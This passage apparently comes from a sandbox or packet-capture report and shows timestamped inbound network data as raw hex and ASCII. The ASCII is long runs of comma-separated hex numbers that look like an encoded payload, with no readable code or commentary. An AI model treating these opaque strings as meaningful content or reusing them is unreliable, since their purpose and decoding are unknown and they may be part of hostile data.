2023-04-20 23:05:10 UTC	13549	IN	Data Raw: 32 2c 31 34 64 2c 31 34 36 2c 62 63 2c 31 33 39 2c 31 30 36 2c 63 38 2c 61 65 2c 31 32 34 2c 31 36 38 2c 36 33 2c 63 32 2c 65 38 2c 31 32 30 2c 65 61 2c 31 30 32 2c 37 31 2c 64 66 2c 31 31 31 2c 31 36 30 2c 61 39 2c 31 30 63 2c 31 34 35 2c 66 36 2c 31 30 37 2c 37 32 2c 31 33 62 2c 31 31 37 2c 31 30 61 2c 62 35 2c 31 31 34 2c 63 32 2c 31 32 33 2c 65 30 2c 39 65 2c 65 62 2c 64 66 2c 31 34 31 2c 39 37 2c 62 34 2c 63 36 2c 65 38 2c 31 31 38 2c 36 33 2c 31 32 33 2c 61 61 2c 37 37 2c 36 34 2c 38 66 2c 36 61 2c 31 34 35 2c 63 63 2c 31 33 35 2c 38 38 2c 62 62 2c 31 34 32 2c 31 34 31 2c 63 65 2c 65 31 2c 38 30 2c 39 30 2c 31 30 37 2c 65 39 2c 37 33 2c 65 39 2c 39 33 2c 31 32 38 2c 64 63 2c 31 34 37 2c 65 36 2c 37 32 2c 64 36 2c 62 38 2c 62 62 2c 66 63 2c 39 64 2c Data Ascii: 2,14d,146,bc,139,106,c8,ae,124,168,63,c2,e8,120,ea,102,71,df,111,160,a9,10c,145,f6,107,72,13b,117,10a,b5,114,c2,123,e0,9e,eb,df,141,97,b4,c6,e8,118,63,123,aa,77,64,8f,6a,145,cc,135,88,bb,142,141,ce,e1,80,90,107,e9,73,e9,93,128,dc,147,e6,72,d6,b8,bb,fc,9d,
2023-04-20 23:05:10 UTC	13565	IN	Data Raw: 31 36 64 2c 31 35 32 2c 31 31 39 2c 31 33 31 2c 35 39 2c 37 36 2c 64 35 2c 36 36 2c 36 39 2c 62 30 2c 65 66 2c 31 34 38 2c 39 62 2c 31 36 32 2c 31 30 35 2c 31 30 33 2c 31 34 64 2c 66 31 2c 31 33 32 2c 61 64 2c 39 64 2c 61 35 2c 31 36 38 2c 35 63 2c 37 33 2c 65 32 2c 31 32 36 2c 31 34 62 2c 36 65 2c 65 37 2c 37 33 2c 62 65 2c 62 35 2c 66 65 2c 31 34 62 2c 37 63 2c 66 64 2c 33 34 2c 66 32 2c 39 37 2c 31 30 64 2c 31 36 62 2c 31 31 30 2c 31 30 36 2c 36 62 2c 39 34 2c 65 66 2c 36 36 2c 31 31 32 2c 38 39 2c 31 33 66 2c 65 33 2c 63 35 2c 64 34 2c 64 61 2c 34 35 2c 35 66 2c 31 30 62 2c 31 35 39 2c 38 38 2c 31 35 62 2c 62 31 2c 38 66 2c 31 31 61 2c 31 32 39 2c 31 36 61 2c 31 33 37 2c 64 34 2c 36 36 2c 63 33 2c 31 34 38 2c 35 63 2c 31 33 38 2c 31 30 38 2c 62 62 2c Data Ascii: 16d,152,119,131,59,76,d5,66,69,b0,ef,148,9b,162,105,103,14d,f1,132,ad,9d,a5,168,5c,73,e2,126,14b,6e,e7,73,be,b5,fe,14b,7c,fd,34,f2,97,10d,16b,110,106,6b,94,ef,66,112,89,13f,e3,c5,d4,da,45,5f,10b,159,88,15b,b1,8f,11a,129,16a,137,d4,66,c3,148,5c,138,108,bb,
2023-04-20 23:05:10 UTC	13581	IN	Data Raw: 31 30 39 2c 62 32 2c 66 35 2c 31 33 62 2c 61 64 2c 36 63 2c 34 63 2c 31 32 30 2c 65 32 2c 61 36 2c 64 30 2c 36 63 2c 36 38 2c 39 39 2c 31 30 39 2c 39 39 2c 31 34 39 2c 66 64 2c 64 64 2c 66 33 2c 31 35 33 2c 31 33 30 2c 39 34 2c 38 35 2c 31 33 64 2c 64 35 2c 31 35 32 2c 31 35 30 2c 31 33 66 2c 31 35 65 2c 65 38 2c 31 32 32 2c 36 64 2c 33 31 2c 66 63 2c 31 33 33 2c 31 34 39 2c 31 33 33 2c 35 36 2c 38 36 2c 31 31 32 2c 37 39 2c 31 31 37 2c 35 37 2c 66 30 2c 36 63 2c 31 36 38 2c 62 32 2c 35 63 2c 35 64 2c 31 36 31 2c 31 31 64 2c 31 32 31 2c 61 36 2c 31 31 61 2c 38 65 2c 31 34 30 2c 66 39 2c 31 33 39 2c 31 35 37 2c 31 30 33 2c 66 31 2c 33 61 2c 31 35 35 2c 31 35 39 2c 37 63 2c 61 33 2c 31 30 34 2c 31 33 37 2c 65 36 2c 34 61 2c 38 34 2c 39 32 2c 36 65 2c 66 63 Data Ascii: 109,b2,f5,13b,ad,6c,4c,120,e2,a6,d0,6c,68,99,109,99,149,fd,dd,f3,153,130,94,85,13d,d5,152,150,13f,15e,e8,122,6d,31,fc,133,149,133,56,86,112,79,117,57,f0,6c,168,b2,5c,5d,161,11d,121,a6,11a,8e,140,f9,139,157,103,f1,3a,155,159,7c,a3,104,137,e6,4a,84,92,6e,fc
2023-04-20 23:05:10 UTC	13597	IN	Data Raw: 64 2c 35 65 2c 31 31 35 2c 38 32 2c 31 30 38 2c 31 34 65 2c 37 32 2c 31 31 63 2c 31 30 35 2c 61 35 2c 31 30 36 2c 66 30 2c 31 33 61 2c 31 33 63 2c 38 30 2c 62 37 2c 31 34 36 2c 31 33 34 2c 36 32 2c 35 38 2c 66 33 2c 64 64 2c 31 32 37 2c 36 32 2c 31 31 37 2c 61 39 2c 33 64 2c 31 32 38 2c 63 33 2c 31 30 36 2c 63 63 2c 31 36 36 2c 39 32 2c 31 31 30 2c 62 33 2c 31 31 39 2c 39 37 2c 31 30 36 2c 31 32 36 2c 35 34 2c 31 32 33 2c 39 37 2c 64 34 2c 31 33 33 2c 31 32 66 2c 31 33 63 2c 31 30 37 2c 34 31 2c 31 34 34 2c 66 62 2c 38 38 2c 65 32 2c 31 30 36 2c 31 36 31 2c 31 32 32 2c 31 32 61 2c 61 33 2c 62 61 2c 65 61 2c 34 65 2c 65 65 2c 31 30 37 2c 31 34 35 2c 37 32 2c 62 35 2c 31 33 33 2c 61 39 2c 65 63 2c 64 38 2c 31 31 32 2c 31 33 34 2c 36 30 2c 63 33 2c 64 38 2c Data Ascii: d,5e,115,82,108,14e,72,11c,105,a5,106,f0,13a,13c,80,b7,146,134,62,58,f3,dd,127,62,117,a9,3d,128,c3,106,cc,166,92,110,b3,119,97,106,126,54,123,97,d4,133,12f,13c,107,41,144,fb,88,e2,106,161,122,12a,a3,ba,ea,4e,ee,107,145,72,b5,133,a9,ec,d8,112,134,60,c3,d8,
2023-04-20 23:05:10 UTC	13613	IN	Data Raw: 2c 34 64 2c 31 32 32 2c 65 34 2c 64 33 2c 63 31 2c 65 34 2c 31 31 34 2c 31 30 30 2c 31 33 32 2c 35 30 2c 31 30 31 2c 38 37 2c 65 64 2c 63 63 2c 31 32 63 2c 31 30 37 2c 31 32 38 2c 66 36 2c 31 30 39 2c 66 38 2c 63 62 2c 64 30 2c 36 37 2c 65 66 2c 31 30 34 2c 63 34 2c 31 32 35 2c 33 31 2c 37 30 2c 37 63 2c 31 30 33 2c 31 32 33 2c 31 31 38 2c 36 31 2c 31 30 31 2c 33 61 2c 39 37 2c 39 35 2c 63 38 2c 61 62 2c 31 32 31 2c 64 64 2c 66 30 2c 31 30 38 2c 38 39 2c 66 33 2c 31 30 30 2c 64 33 2c 31 31 62 2c 64 66 2c 36 62 2c 31 30 34 2c 39 33 2c 31 33 65 2c 31 33 34 2c 64 35 2c 33 36 2c 66 39 2c 36 63 2c 31 30 62 2c 31 31 38 2c 31 32 62 2c 37 36 2c 31 34 37 2c 31 34 36 2c 63 62 2c 31 32 30 2c 66 39 2c 61 64 2c 39 33 2c 63 66 2c 66 30 2c 31 34 35 2c 37 36 2c 38 32 2c Data Ascii: ,4d,122,e4,d3,c1,e4,114,100,132,50,101,87,ed,cc,12c,107,128,f6,109,f8,cb,d0,67,ef,104,c4,125,31,70,7c,103,123,118,61,101,3a,97,95,c8,ab,121,dd,f0,108,89,f3,100,d3,11b,df,6b,104,93,13e,134,d5,36,f9,6c,10b,118,12b,76,147,146,cb,120,f9,ad,93,cf,f0,145,76,82,
2023-04-20 23:05:10 UTC	13629	IN	Data Raw: 2c 66 36 2c 38 31 2c 66 32 2c 31 33 65 2c 65 37 2c 39 63 2c 64 63 2c 31 35 33 2c 36 65 2c 35 34 2c 31 31 34 2c 62 35 2c 66 35 2c 65 30 2c 38 31 2c 31 30 62 2c 34 35 2c 64 65 2c 31 30 31 2c 62 61 2c 64 66 2c 37 66 2c 65 32 2c 31 31 65 2c 31 32 33 2c 31 33 37 2c 61 38 2c 31 33 63 2c 31 31 63 2c 31 33 65 2c 31 31 33 2c 63 37 2c 39 32 2c 62 66 2c 33 64 2c 63 61 2c 31 32 37 2c 36 38 2c 31 31 62 2c 37 36 2c 31 31 37 2c 31 30 34 2c 37 34 2c 31 37 35 2c 65 63 2c 62 65 2c 31 31 34 2c 35 35 2c 64 37 2c 61 31 2c 65 33 2c 61 62 2c 31 31 66 2c 31 33 63 2c 31 34 36 2c 31 32 35 2c 66 33 2c 31 30 34 2c 65 61 2c 64 35 2c 39 63 2c 39 63 2c 37 37 2c 31 32 33 2c 34 32 2c 31 32 65 2c 31 30 66 2c 31 34 31 2c 38 30 2c 38 31 2c 38 66 2c 31 33 65 2c 37 38 2c 39 37 2c 31 32 38 2c Data Ascii: ,f6,81,f2,13e,e7,9c,dc,153,6e,54,114,b5,f5,e0,81,10b,45,de,101,ba,df,7f,e2,11e,123,137,a8,13c,11c,13e,113,c7,92,bf,3d,ca,127,68,11b,76,117,104,74,175,ec,be,114,55,d7,a1,e3,ab,11f,13c,146,125,f3,104,ea,d5,9c,9c,77,123,42,12e,10f,141,80,81,8f,13e,78,97,128,
2023-04-20 23:05:10 UTC	13645	IN	Data Raw: 61 2c 31 33 34 2c 35 61 2c 31 32 33 2c 65 39 2c 64 62 2c 62 63 2c 31 33 39 2c 31 35 38 2c 36 38 2c 31 30 39 2c 62 33 2c 31 33 33 2c 64 66 2c 36 37 2c 31 30 65 2c 31 35 61 2c 31 31 62 2c 31 33 38 2c 31 32 33 2c 31 32 66 2c 64 66 2c 39 37 2c 31 31 66 2c 31 34 38 2c 31 30 36 2c 35 33 2c 65 35 2c 38 31 2c 65 63 2c 39 30 2c 31 33 35 2c 31 36 32 2c 31 31 64 2c 65 37 2c 31 31 64 2c 36 39 2c 66 63 2c 39 62 2c 35 39 2c 31 35 31 2c 36 36 2c 31 33 34 2c 66 61 2c 31 34 61 2c 31 30 34 2c 34 38 2c 31 33 37 2c 31 33 63 2c 38 35 2c 63 63 2c 65 35 2c 31 32 37 2c 31 31 63 2c 31 37 31 2c 31 34 35 2c 31 32 32 2c 37 30 2c 34 63 2c 34 61 2c 38 32 2c 31 32 30 2c 31 33 63 2c 31 34 39 2c 31 33 34 2c 31 32 65 2c 37 62 2c 39 39 2c 31 33 61 2c 33 36 2c 31 34 66 2c 31 31 61 2c 31 35 Data Ascii: a,134,5a,123,e9,db,bc,139,158,68,109,b3,133,df,67,10e,15a,11b,138,123,12f,df,97,11f,148,106,53,e5,81,ec,90,135,162,11d,e7,11d,69,fc,9b,59,151,66,134,fa,14a,104,48,137,13c,85,cc,e5,127,11c,171,145,122,70,4c,4a,82,120,13c,149,134,12e,7b,99,13a,36,14f,11a,15
2023-04-20 23:05:10 UTC	13661	IN	Data Raw: 2c 31 33 63 2c 38 39 2c 31 30 65 2c 62 66 2c 31 31 38 2c 63 38 2c 31 33 39 2c 31 33 32 2c 31 34 61 2c 35 35 2c 66 66 2c 39 66 2c 39 32 2c 35 35 2c 65 35 2c 36 65 2c 38 37 2c 37 33 2c 31 36 38 2c 33 39 2c 38 35 2c 66 65 2c 32 64 2c 65 36 2c 31 31 63 2c 62 31 2c 35 66 2c 62 38 2c 31 32 66 2c 65 35 2c 31 30 64 2c 36 63 2c 62 64 2c 31 34 61 2c 66 35 2c 62 39 2c 61 39 2c 36 62 2c 31 34 35 2c 31 36 36 2c 66 38 2c 61 62 2c 63 31 2c 39 38 2c 31 30 30 2c 61 66 2c 66 33 2c 64 63 2c 64 65 2c 31 33 38 2c 31 32 34 2c 65 30 2c 31 37 34 2c 38 36 2c 31 30 63 2c 63 66 2c 35 63 2c 31 32 39 2c 37 62 2c 35 38 2c 35 62 2c 31 36 39 2c 31 33 32 2c 65 61 2c 64 64 2c 66 64 2c 37 34 2c 65 63 2c 31 30 31 2c 36 32 2c 37 61 2c 31 30 37 2c 31 35 34 2c 61 62 2c 36 31 2c 61 30 2c 31 32 Data Ascii: ,13c,89,10e,bf,118,c8,139,132,14a,55,ff,9f,92,55,e5,6e,87,73,168,39,85,fe,2d,e6,11c,b1,5f,b8,12f,e5,10d,6c,bd,14a,f5,b9,a9,6b,145,166,f8,ab,c1,98,100,af,f3,dc,de,138,124,e0,174,86,10c,cf,5c,129,7b,58,5b,169,132,ea,dd,fd,74,ec,101,62,7a,107,154,ab,61,a0,12
2023-04-20 23:05:10 UTC	13677	IN	Data Raw: 38 34 2c 65 34 2c 31 33 62 2c 39 65 2c 31 36 34 2c 65 33 2c 31 32 35 2c 62 39 2c 63 34 2c 31 33 39 2c 61 35 2c 61 38 2c 66 30 2c 31 34 34 2c 39 37 2c 38 30 2c 39 35 2c 66 32 2c 35 38 2c 64 39 2c 31 32 39 2c 61 33 2c 31 33 66 2c 36 30 2c 61 31 2c 66 64 2c 31 32 65 2c 66 34 2c 31 31 39 2c 61 66 2c 37 31 2c 66 37 2c 38 64 2c 61 37 2c 65 38 2c 38 66 2c 64 33 2c 35 35 2c 31 32 38 2c 35 31 2c 66 64 2c 31 31 36 2c 36 36 2c 66 34 2c 31 34 33 2c 65 35 2c 65 65 2c 38 33 2c 31 34 36 2c 66 37 2c 31 30 32 2c 36 66 2c 31 30 39 2c 64 63 2c 39 33 2c 36 39 2c 61 32 2c 65 33 2c 35 63 2c 31 32 32 2c 39 61 2c 62 31 2c 64 31 2c 31 35 63 2c 31 32 63 2c 37 31 2c 31 31 39 2c 31 37 34 2c 61 35 2c 31 31 64 2c 31 34 36 2c 35 33 2c 63 30 2c 39 33 2c 63 31 2c 64 30 2c 31 31 65 2c 31 Data Ascii: 84,e4,13b,9e,164,e3,125,b9,c4,139,a5,a8,f0,144,97,80,95,f2,58,d9,129,a3,13f,60,a1,fd,12e,f4,119,af,71,f7,8d,a7,e8,8f,d3,55,128,51,fd,116,66,f4,143,e5,ee,83,146,f7,102,6f,109,dc,93,69,a2,e3,5c,122,9a,b1,d1,15c,12c,71,119,174,a5,11d,146,53,c0,93,c1,d0,11e,1
2023-04-20 23:05:10 UTC	13693	IN	Data Raw: 2c 39 35 2c 64 34 2c 31 34 61 2c 34 38 2c 38 37 2c 66 39 2c 37 34 2c 64 63 2c 39 35 2c 31 35 61 2c 62 65 2c 31 35 37 2c 34 35 2c 64 35 2c 39 36 2c 31 32 61 2c 38 64 2c 39 33 2c 37 32 2c 61 66 2c 33 33 2c 65 38 2c 39 65 2c 61 36 2c 66 62 2c 37 35 2c 37 62 2c 61 34 2c 31 34 37 2c 38 65 2c 34 30 2c 65 31 2c 61 64 2c 31 34 63 2c 36 33 2c 64 63 2c 62 38 2c 61 39 2c 38 32 2c 65 34 2c 62 33 2c 31 30 62 2c 62 38 2c 38 35 2c 35 39 2c 63 37 2c 61 30 2c 31 31 33 2c 31 35 33 2c 31 30 66 2c 35 62 2c 66 33 2c 38 62 2c 64 65 2c 39 37 2c 31 35 32 2c 31 35 63 2c 31 33 37 2c 65 30 2c 62 63 2c 31 36 31 2c 62 61 2c 36 64 2c 31 33 37 2c 31 30 31 2c 61 34 2c 36 33 2c 64 61 2c 35 35 2c 39 36 2c 63 30 2c 64 62 2c 61 62 2c 36 34 2c 63 37 2c 31 35 66 2c 66 35 2c 31 32 61 2c 31 30 Data Ascii: ,95,d4,14a,48,87,f9,74,dc,95,15a,be,157,45,d5,96,12a,8d,93,72,af,33,e8,9e,a6,fb,75,7b,a4,147,8e,40,e1,ad,14c,63,dc,b8,a9,82,e4,b3,10b,b8,85,59,c7,a0,113,153,10f,5b,f3,8b,de,97,152,15c,137,e0,bc,161,ba,6d,137,101,a4,63,da,55,96,c0,db,ab,64,c7,15f,f5,12a,10
2023-04-20 23:05:10 UTC	13709	IN	Data Raw: 31 32 66 2c 62 32 2c 31 34 66 2c 31 31 36 2c 61 62 2c 39 38 2c 31 32 30 2c 33 62 2c 62 38 2c 35 65 2c 31 32 66 2c 65 38 2c 65 30 2c 31 31 64 2c 64 37 2c 31 35 31 2c 31 32 63 2c 61 65 2c 31 30 38 2c 37 64 2c 31 34 37 2c 31 31 62 2c 31 31 61 2c 37 38 2c 61 39 2c 61 62 2c 37 35 2c 62 33 2c 39 62 2c 38 61 2c 65 65 2c 31 31 39 2c 37 38 2c 31 30 64 2c 31 33 36 2c 31 35 32 2c 31 33 61 2c 37 31 2c 31 30 34 2c 37 64 2c 31 31 38 2c 64 63 2c 62 33 2c 31 31 65 2c 61 35 2c 61 66 2c 31 30 32 2c 31 34 32 2c 61 66 2c 62 31 2c 39 30 2c 38 30 2c 31 36 63 2c 61 38 2c 36 31 2c 37 37 2c 31 30 64 2c 61 61 2c 38 33 2c 36 32 2c 31 35 30 2c 39 61 2c 37 31 2c 31 30 66 2c 31 34 37 2c 63 39 2c 31 36 32 2c 31 36 38 2c 65 36 2c 39 33 2c 31 34 34 2c 38 63 2c 36 65 2c 31 32 39 2c 31 32 Data Ascii: 12f,b2,14f,116,ab,98,120,3b,b8,5e,12f,e8,e0,11d,d7,151,12c,ae,108,7d,147,11b,11a,78,a9,ab,75,b3,9b,8a,ee,119,78,10d,136,152,13a,71,104,7d,118,dc,b3,11e,a5,af,102,142,af,b1,90,80,16c,a8,61,77,10d,aa,83,62,150,9a,71,10f,147,c9,162,168,e6,93,144,8c,6e,129,12
2023-04-20 23:05:10 UTC	13725	IN	Data Raw: 36 38 2c 39 32 2c 37 64 2c 63 32 2c 35 64 2c 31 31 39 2c 34 63 2c 37 61 2c 65 64 2c 31 34 32 2c 64 35 2c 31 34 39 2c 31 34 30 2c 64 31 2c 39 34 2c 38 63 2c 37 30 2c 63 31 2c 35 61 2c 66 64 2c 31 32 63 2c 39 30 2c 33 35 2c 65 32 2c 31 31 30 2c 66 64 2c 65 64 2c 31 30 62 2c 62 38 2c 38 30 2c 31 31 65 2c 39 64 2c 31 33 38 2c 31 34 39 2c 39 37 2c 31 33 33 2c 61 66 2c 62 34 2c 63 64 2c 31 32 36 2c 35 66 2c 31 33 34 2c 31 34 66 2c 39 37 2c 31 31 63 2c 64 33 2c 64 33 2c 37 63 2c 31 30 36 2c 37 34 2c 31 31 35 2c 65 31 2c 36 61 2c 63 36 2c 61 32 2c 66 34 2c 66 61 2c 31 30 34 2c 31 34 34 2c 38 37 2c 31 34 66 2c 31 30 39 2c 34 66 2c 31 30 33 2c 31 33 62 2c 64 66 2c 38 31 2c 31 34 63 2c 63 33 2c 34 39 2c 63 62 2c 37 64 2c 31 30 39 2c 62 61 2c 31 30 66 2c 61 62 2c 65 Data Ascii: 68,92,7d,c2,5d,119,4c,7a,ed,142,d5,149,140,d1,94,8c,70,c1,5a,fd,12c,90,35,e2,110,fd,ed,10b,b8,80,11e,9d,138,149,97,133,af,b4,cd,126,5f,134,14f,97,11c,d3,d3,7c,106,74,115,e1,6a,c6,a2,f4,fa,104,144,87,14f,109,4f,103,13b,df,81,14c,c3,49,cb,7d,109,ba,10f,ab,e
2023-04-20 23:05:10 UTC	13741	IN	Data Raw: 37 2c 34 31 2c 62 36 2c 31 30 38 2c 65 34 2c 61 33 2c 39 35 2c 66 61 2c 31 35 64 2c 61 66 2c 65 62 2c 31 31 31 2c 37 61 2c 31 35 35 2c 39 39 2c 31 33 32 2c 36 31 2c 65 61 2c 38 34 2c 36 35 2c 65 36 2c 38 62 2c 31 35 61 2c 31 31 64 2c 34 63 2c 65 30 2c 61 32 2c 31 32 32 2c 31 33 66 2c 36 34 2c 65 62 2c 62 32 2c 34 65 2c 33 34 2c 31 32 31 2c 33 39 2c 31 32 62 2c 62 34 2c 39 63 2c 31 34 33 2c 62 32 2c 63 34 2c 39 30 2c 31 33 63 2c 62 33 2c 65 35 2c 63 37 2c 65 39 2c 62 39 2c 36 62 2c 31 31 34 2c 31 30 61 2c 36 34 2c 31 31 62 2c 65 34 2c 63 39 2c 33 66 2c 62 36 2c 31 35 39 2c 33 66 2c 31 34 38 2c 64 36 2c 31 30 63 2c 39 65 2c 31 33 35 2c 31 30 36 2c 38 62 2c 38 66 2c 31 32 32 2c 61 39 2c 64 34 2c 31 33 35 2c 31 33 61 2c 66 38 2c 38 33 2c 31 32 31 2c 64 38 2c Data Ascii: 7,41,b6,108,e4,a3,95,fa,15d,af,eb,111,7a,155,99,132,61,ea,84,65,e6,8b,15a,11d,4c,e0,a2,122,13f,64,eb,b2,4e,34,121,39,12b,b4,9c,143,b2,c4,90,13c,b3,e5,c7,e9,b9,6b,114,10a,64,11b,e4,c9,3f,b6,159,3f,148,d6,10c,9e,135,106,8b,8f,122,a9,d4,135,13a,f8,83,121,d8,
2023-04-20 23:05:10 UTC	13757	IN	Data Raw: 2c 31 30 62 2c 64 32 2c 62 34 2c 31 30 35 2c 31 32 30 2c 31 34 63 2c 31 32 39 2c 38 30 2c 31 32 37 2c 63 31 2c 38 37 2c 66 30 2c 63 65 2c 39 35 2c 37 66 2c 62 38 2c 63 35 2c 66 38 2c 66 34 2c 66 30 2c 63 36 2c 66 63 2c 37 63 2c 39 64 2c 33 63 2c 38 32 2c 39 64 2c 64 66 2c 64 66 2c 31 35 32 2c 31 35 37 2c 31 32 66 2c 31 30 30 2c 64 66 2c 62 30 2c 31 35 63 2c 31 32 36 2c 31 34 61 2c 31 34 64 2c 39 30 2c 38 35 2c 31 31 61 2c 38 66 2c 66 30 2c 31 34 36 2c 63 39 2c 31 35 35 2c 31 33 30 2c 31 30 64 2c 36 61 2c 64 36 2c 65 61 2c 31 30 63 2c 31 34 34 2c 36 65 2c 66 31 2c 65 33 2c 31 34 34 2c 31 31 37 2c 61 36 2c 66 35 2c 39 38 2c 61 30 2c 63 39 2c 35 34 2c 62 35 2c 31 33 31 2c 31 30 36 2c 38 39 2c 31 32 38 2c 31 31 31 2c 31 31 66 2c 66 36 2c 36 65 2c 66 36 2c 36 Data Ascii: ,10b,d2,b4,105,120,14c,129,80,127,c1,87,f0,ce,95,7f,b8,c5,f8,f4,f0,c6,fc,7c,9d,3c,82,9d,df,df,152,157,12f,100,df,b0,15c,126,14a,14d,90,85,11a,8f,f0,146,c9,155,130,10d,6a,d6,ea,10c,144,6e,f1,e3,144,117,a6,f5,98,a0,c9,54,b5,131,106,89,128,111,11f,f6,6e,f6,6
2023-04-20 23:05:11 UTC	13773	IN	Data Raw: 65 34 2c 31 34 63 2c 61 39 2c 31 32 62 2c 31 37 30 2c 35 65 2c 61 63 2c 64 34 2c 66 36 2c 66 32 2c 31 32 35 2c 31 31 64 2c 64 61 2c 64 65 2c 31 30 62 2c 39 38 2c 31 33 37 2c 39 36 2c 63 34 2c 39 37 2c 31 32 32 2c 31 31 33 2c 65 30 2c 31 34 32 2c 65 65 2c 63 30 2c 61 37 2c 38 33 2c 36 34 2c 31 32 37 2c 31 31 64 2c 38 35 2c 64 35 2c 31 33 34 2c 31 33 38 2c 31 34 35 2c 31 34 38 2c 31 32 39 2c 31 30 32 2c 31 34 31 2c 38 35 2c 63 62 2c 31 31 61 2c 31 30 61 2c 31 31 65 2c 66 33 2c 64 31 2c 38 31 2c 66 66 2c 31 36 34 2c 64 31 2c 39 66 2c 65 36 2c 38 64 2c 62 37 2c 62 35 2c 38 31 2c 31 32 35 2c 65 30 2c 64 61 2c 66 64 2c 63 38 2c 66 31 2c 31 30 31 2c 38 35 2c 31 34 32 2c 62 35 2c 31 32 36 2c 31 32 32 2c 31 32 63 2c 66 63 2c 31 32 37 2c 31 30 64 2c 37 31 2c 39 38 Data Ascii: e4,14c,a9,12b,170,5e,ac,d4,f6,f2,125,11d,da,de,10b,98,137,96,c4,97,122,113,e0,142,ee,c0,a7,83,64,127,11d,85,d5,134,138,145,148,129,102,141,85,cb,11a,10a,11e,f3,d1,81,ff,164,d1,9f,e6,8d,b7,b5,81,125,e0,da,fd,c8,f1,101,85,142,b5,126,122,12c,fc,127,10d,71,98
2023-04-20 23:05:11 UTC	13789	IN	Data Raw: 35 62 2c 31 30 32 2c 31 33 63 2c 31 31 35 2c 65 36 2c 39 63 2c 31 34 38 2c 35 36 2c 35 32 2c 38 35 2c 31 34 38 2c 61 37 2c 65 38 2c 39 35 2c 39 39 2c 38 61 2c 35 33 2c 62 31 2c 31 33 63 2c 39 63 2c 31 30 61 2c 31 31 31 2c 39 31 2c 31 31 39 2c 61 64 2c 38 30 2c 61 63 2c 36 34 2c 61 30 2c 65 65 2c 35 39 2c 39 63 2c 31 30 37 2c 31 34 35 2c 31 33 64 2c 31 34 32 2c 65 37 2c 37 64 2c 38 38 2c 38 33 2c 35 66 2c 66 30 2c 31 35 65 2c 63 65 2c 62 39 2c 34 36 2c 31 32 64 2c 62 36 2c 31 30 32 2c 64 35 2c 62 39 2c 65 34 2c 31 31 65 2c 64 38 2c 61 35 2c 31 31 61 2c 31 35 36 2c 31 32 39 2c 39 30 2c 64 63 2c 65 37 2c 63 61 2c 31 34 65 2c 38 65 2c 39 31 2c 64 33 2c 38 64 2c 66 31 2c 65 64 2c 64 39 2c 39 32 2c 38 30 2c 31 32 61 2c 63 31 2c 63 37 2c 31 34 36 2c 63 35 2c 63 Data Ascii: 5b,102,13c,115,e6,9c,148,56,52,85,148,a7,e8,95,99,8a,53,b1,13c,9c,10a,111,91,119,ad,80,ac,64,a0,ee,59,9c,107,145,13d,142,e7,7d,88,83,5f,f0,15e,ce,b9,46,12d,b6,102,d5,b9,e4,11e,d8,a5,11a,156,129,90,dc,e7,ca,14e,8e,91,d3,8d,f1,ed,d9,92,80,12a,c1,c7,146,c5,c
2023-04-20 23:05:11 UTC	13805	IN	Data Raw: 2c 61 66 2c 31 32 34 2c 65 63 2c 62 65 2c 64 65 2c 38 38 2c 36 39 2c 63 33 2c 31 33 64 2c 66 31 2c 31 32 33 2c 39 33 2c 31 33 35 2c 61 32 2c 31 34 36 2c 31 33 61 2c 31 33 37 2c 64 62 2c 31 33 34 2c 31 30 38 2c 64 61 2c 37 66 2c 31 34 37 2c 36 62 2c 62 39 2c 31 32 37 2c 31 35 61 2c 37 61 2c 39 65 2c 31 30 65 2c 62 66 2c 38 30 2c 63 31 2c 63 32 2c 31 31 61 2c 64 39 2c 35 61 2c 63 64 2c 65 62 2c 36 39 2c 38 34 2c 31 32 63 2c 38 35 2c 31 33 30 2c 31 35 34 2c 31 30 30 2c 63 34 2c 65 38 2c 62 31 2c 64 37 2c 31 32 63 2c 39 39 2c 31 31 62 2c 31 35 34 2c 63 39 2c 31 32 36 2c 35 37 2c 31 34 63 2c 38 36 2c 62 33 2c 36 32 2c 39 62 2c 62 63 2c 37 30 2c 31 31 63 2c 65 62 2c 31 35 31 2c 37 66 2c 39 32 2c 65 61 2c 31 33 63 2c 62 36 2c 31 33 65 2c 66 32 2c 38 32 2c 31 35 Data Ascii: ,af,124,ec,be,de,88,69,c3,13d,f1,123,93,135,a2,146,13a,137,db,134,108,da,7f,147,6b,b9,127,15a,7a,9e,10e,bf,80,c1,c2,11a,d9,5a,cd,eb,69,84,12c,85,130,154,100,c4,e8,b1,d7,12c,99,11b,154,c9,126,57,14c,86,b3,62,9b,bc,70,11c,eb,151,7f,92,ea,13c,b6,13e,f2,82,15
2023-04-20 23:05:11 UTC	13821	IN	Data Raw: 39 2c 65 66 2c 62 64 2c 63 38 2c 31 30 32 2c 66 38 2c 62 36 2c 31 31 64 2c 63 35 2c 64 63 2c 31 32 62 2c 64 32 2c 31 36 39 2c 38 32 2c 35 34 2c 65 62 2c 31 35 66 2c 39 61 2c 64 64 2c 62 64 2c 31 32 33 2c 31 30 31 2c 31 35 33 2c 31 35 31 2c 31 32 65 2c 61 64 2c 62 63 2c 66 64 2c 37 62 2c 38 36 2c 39 38 2c 31 35 31 2c 31 31 30 2c 31 34 35 2c 33 64 2c 31 33 65 2c 31 35 65 2c 62 35 2c 62 61 2c 31 32 64 2c 31 35 64 2c 64 32 2c 64 37 2c 31 30 34 2c 31 35 39 2c 31 30 31 2c 31 33 62 2c 31 32 32 2c 36 64 2c 62 37 2c 39 64 2c 31 31 61 2c 31 32 39 2c 31 33 32 2c 64 33 2c 31 33 37 2c 31 33 63 2c 31 33 35 2c 37 62 2c 31 30 33 2c 39 37 2c 66 64 2c 31 31 39 2c 31 37 30 2c 31 35 38 2c 31 31 62 2c 31 30 64 2c 31 32 31 2c 31 30 36 2c 38 38 2c 31 33 32 2c 31 34 30 2c 31 34 Data Ascii: 9,ef,bd,c8,102,f8,b6,11d,c5,dc,12b,d2,169,82,54,eb,15f,9a,dd,bd,123,101,153,151,12e,ad,bc,fd,7b,86,98,151,110,145,3d,13e,15e,b5,ba,12d,15d,d2,d7,104,159,101,13b,122,6d,b7,9d,11a,129,132,d3,137,13c,135,7b,103,97,fd,119,170,158,11b,10d,121,106,88,132,140,14
